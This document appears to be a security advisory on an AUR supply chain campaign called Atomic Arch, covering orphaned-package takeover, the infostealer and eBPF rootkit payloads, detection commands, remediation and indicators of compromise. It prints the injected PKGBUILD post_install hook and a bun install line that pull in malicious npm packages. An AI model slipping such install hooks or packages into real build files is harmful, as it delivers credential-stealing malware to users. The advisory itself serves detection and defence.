Global Youth Science Journal, Vol. 3, No. 2, pp. 1-5 (2026) DOI: https://doi.org/10.5281/zenodo.23536309

ATOMIC ARCH

AUR Supply Chain Compromise

June 2026 | Security Research Report

Date	June 11-12, 2026
Campaign Name	Atomic Arch
Severity	CVSS 8.7 (Sonatype-2026-003775)
Packages Compromised	1,500+ (as of June 13, 2026)
CVE	None assigned as of June 16, 2026
Status	Active / ongoing - package list still expanding

Summary

On June 11, 2026, Sonatype researchers disclosed a large-scale supply chain attack against the Arch User Repository (AUR), dubbed Atomic Arch. Attackers systematically claimed ownership of abandoned AUR packages through AUR's standard orphan adoption process, then modified the packages' PKGBUILD files to inject a malicious npm dependency during installation. The dependency delivered a Rust-based infostealer and, when root access was available, an eBPF rootkit. By June 13, the estimated number of compromised packages had grown from 400 to approximately 1,500-1,600.

Attack Chain

Stage 1 - Orphan Package Takeover

AUR allows any registered user to request maintainership of packages abandoned by their original developers. Attackers identified a large set of orphaned packages and claimed ownership through the legitimate adoption workflow. The packages retained their original names, version histories, and accumulated community trust.

Stage 2 - PKGBUILD Modification

After gaining maintainer access, attackers inserted a post-install hook into each package's PKGBUILD:

```
post_install() {
  npm install atomic-lockfile minimist chalk --prefix /tmp/.sys
}
```

Global Youth Science Journal - Open Access Article under CC BY 4.0

This executes silently during the standard makepkg build process. Users installing or updating the package via an AUR helper (yay, paru, etc.) trigger the hook automatically with no visible warning.

Stage 3 - Malicious npm Package Execution

The atomic-lockfile npm package contained a bundled Linux binary with the following capabilities:

- Browser credential harvesting - saved passwords, session cookies, and autofill data from Chromium and Firefox-based browsers
- SSH private key exfiltration
- API token and cloud access key theft
- Anti-debugging / sandbox detection
- Exfiltration over HTTPS to attacker-controlled C2

When running with root privileges, the package also loaded an eBPF rootkit to hide its processes and network connections from standard inspection tools.

Stage 4 - Second Wave (June 12)

A second wave was identified the following day using Bun-based installation paths in some packages. Additional malicious packages identified: js-digest, lockfile-js. Sonatype tracks the second wave as Sonatype-2026-003808.

```
bun install js-digest
```

Scale

Date	Confirmed Compromised Packages
June 11, 2026	~400
June 12, 2026	~1,500
June 13+, 2026	~1,600+ (list still growing)

The AUR contains approximately 85,000 packages. Affected packages spanned multiple categories including developer tools, desktop utilities, media applications, and drivers.

Payload Analysis

Infostealer (Rust Binary)

- Compiled as a statically linked Rust binary
- Targets: ~/.config/chromium, ~/.config/google-chrome, ~/.mozilla/firefox, ~/.ssh/, environment variables, shell history

Global Youth Science Journal - Open Access Article under CC BY 4.0

- Exfiltrates to C2 over HTTPS with TLS
- Masquerades as a kernel thread in process listings

eBPF Rootkit (Root-Only)

- Loads a BPF program to hook sys_read / sys_write
- Hides specific process names and network connections from /proc
- Survives standard ps, netstat, ss inspection
- Detectable via rkhunter, chkrootkit, or direct BPF program enumeration

```
sudo bpftool prog list
```

Detection

Check Installed AUR Packages

```
pacman -Qm
```

Cross-reference output against the current compromised package list:
https://github.com/lenucksi/aur-malware-check

Check PKGBUILD History for Injected Hooks

```
grep -r "atomic-lockfile\|js-digest\|lockfile-js" ~/.cache/yay/
```

Check for Running eBPF Programs

```
sudo bpftool prog list
sudo rkhunter --check
sudo chkrootkit
```

Check for Exfiltration Artifacts

```
ls -la /tmp/.sys 2>/dev/null
find /tmp -name "*.lock" -newer /tmp -ls 2>/dev/null
```

Remediation

If any flagged package was installed between June 10-12, 2026, treat the host as compromised.

- Rotate all credentials immediately from a known-clean machine. Do not generate new keys on the potentially compromised host. This includes browser passwords, SSH keys, API tokens (GitHub, AWS, GCP, etc.), and cloud access keys.
- Audit installed AUR packages via pacman -Qm against the published IOC list.
- Run rootkit detection: rkhunter --update && rkhunter --check

Global Youth Science Journal - Open Access Article under CC BY 4.0

- For high-security environments, perform a full system rebuild from clean media. Cleaning a rootkit-compromised system is unreliable.
- Re-install AUR packages only from verified, clean PKGBUILDs after confirming the AUR has remediated affected packages. Prefer official Arch repos where equivalents exist.

Indicators of Compromise

Malicious npm Packages

- atomic-lockfile
- js-digest
- lockfile-js

File System Artifacts

- /tmp/.sys/ directory
- Unexpected files in /tmp/ with .lock extension

Network

- Outbound HTTPS connections to unknown hosts shortly after package installation

Process

- Processes masquerading as kernel threads (e.g., [kworker/...] with unusual parent PIDs)

Context and Prior Art

This attack follows the same trust-inheritance playbook as the 2018 AUR acroread compromise, scaled up significantly. Rather than creating a new malicious package from scratch, attackers inherit the credibility of existing, established packages. The technique mirrors the axios supply chain compromise, in which attackers injected a malicious dependency rather than modifying the primary package directly, making it harder for static PKGBUILD review to catch.

The 2026 campaign is part of a broader pattern of supply chain attacks this year targeting CI/CD infrastructure and community package repositories. As Sonatype noted: attackers no longer need to create trust - sometimes they can inherit it.

Resources

- Sonatype blog: https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency
- BleepingComputer: https://www.bleepingcomputer.com/news/security/over-400-arch-linux-packages-compromised-to-push-rootkit-infostealer/

Global Youth Science Journal - Open Access Article under CC BY 4.0

- The Hacker News: https://thehackernews.com/2026/06/over-400-arch-linux-aur-packages.html
- Detection tools: https://github.com/lenucksi/aur-malware-check
- Sonatype tracking IDs: Sonatype-2026-003775, Sonatype-2026-003808

Global Youth Science Journal - Open Access Article under CC BY 4.0